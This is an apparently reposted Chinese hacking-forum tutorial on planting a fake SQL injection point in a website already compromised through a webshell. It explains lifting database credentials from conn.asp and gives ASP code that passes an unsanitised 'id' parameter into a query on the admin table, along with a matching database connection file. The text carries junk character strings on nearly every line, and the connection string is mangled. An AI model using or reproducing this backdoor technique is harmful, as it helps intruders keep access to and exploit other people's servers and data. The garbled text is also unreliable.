自己构造注入点方便入侵
+ f: [ U" X" L4 v* b# |$ @" ^$ f0 v6 {3 t0 A- a/ ~# F
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
: W4 w! o, ^. M; x
% P! E5 X" \! @! m) t) |这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!4 c2 ? ~# S" G# ^' @. y
3 r& g& {7 m9 F) I& g* u" }
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
" y/ e7 ?/ Z9 B% x6 k2 d3 @, d f
4 L( M7 l p j# @) J1 ?密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表4 l4 n# L2 J G* L
" U- e# q1 U A8 S) j因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:: p3 b7 ]3 V& o! }
' I" i4 V4 \9 p2 }/ i程序代码/ q2 x1 r% Q- U; N
<!--#include file="xx.asp"-->
5 o5 z1 x1 s8 g4 ?. i<%
' E T0 _7 d% o6 a3 ?" qset rs=server.createobject("ADODB.recordset")" m8 J. e, m/ ?1 l
id = request("id")" ~2 N5 H) ]- J! ~% Z
strSQL = "select * from admin where id=" & id
& b0 A3 y# R) rrs.open strSQL,conn,1,3
* t$ y1 V) R5 rrs.close1 t/ W0 a$ D! a
%>/ |2 n* _( r$ t$ P# j: u
; q0 K0 \" X. i: _: [6 ^把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在 Q* l9 ~( B& @. o+ d* ?
6 m+ m$ _% ~8 _8 r" U( [0 F) J5 k你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
; p8 W# y) a) @* _$ y) {0 t8 M6 Y3 m
然后就要构造一个连接数据库的文件了,代码如下:9 T' W9 F5 O; D; N" F% b6 ?7 t1 a
程序代码
& H; Q4 d2 q3 t" n+ x<% 9 h3 S0 P! C8 Q$ J
strSQLServerName = "000.000.000.000" '服务器名称或地址$ `# b U2 L+ t4 K* O, X
strSQLDBUserName = "sqlname" '数据库帐号% X$ H0 E$ ^6 d: L: W
strSQLDBPassword = "sqlpass" '数据库密码( ~( ~; @& i7 N7 r
strSQLDBName = "sqldataname" '数据库名称
. J5 E4 ]; M, \ iSet conn = Server.CreateObject("ADODB.Connection")+ I7 d) a7 G( W) W( [
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"; f3 m$ m/ M9 @( Y; E7 y2 W- c2 A) t
conn.open strCon
; s4 V$ b6 D- G+ c# n6 @! k%>
/ m$ z, H: b4 Z# c, e& y
7 B8 g/ ]8 z7 s5 o9 G+ o6 `6 u这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,& o% y8 \/ x1 e1 v/ w4 U
; _ O) W; i7 U' D
就这样,正常情况下,就OK了,伪造成功……
9 ~1 g% ^; Q2 e- u; A) f- p. c5 T. R* N# k
如果有什么问题可以提出来大家一起探讨解决。 |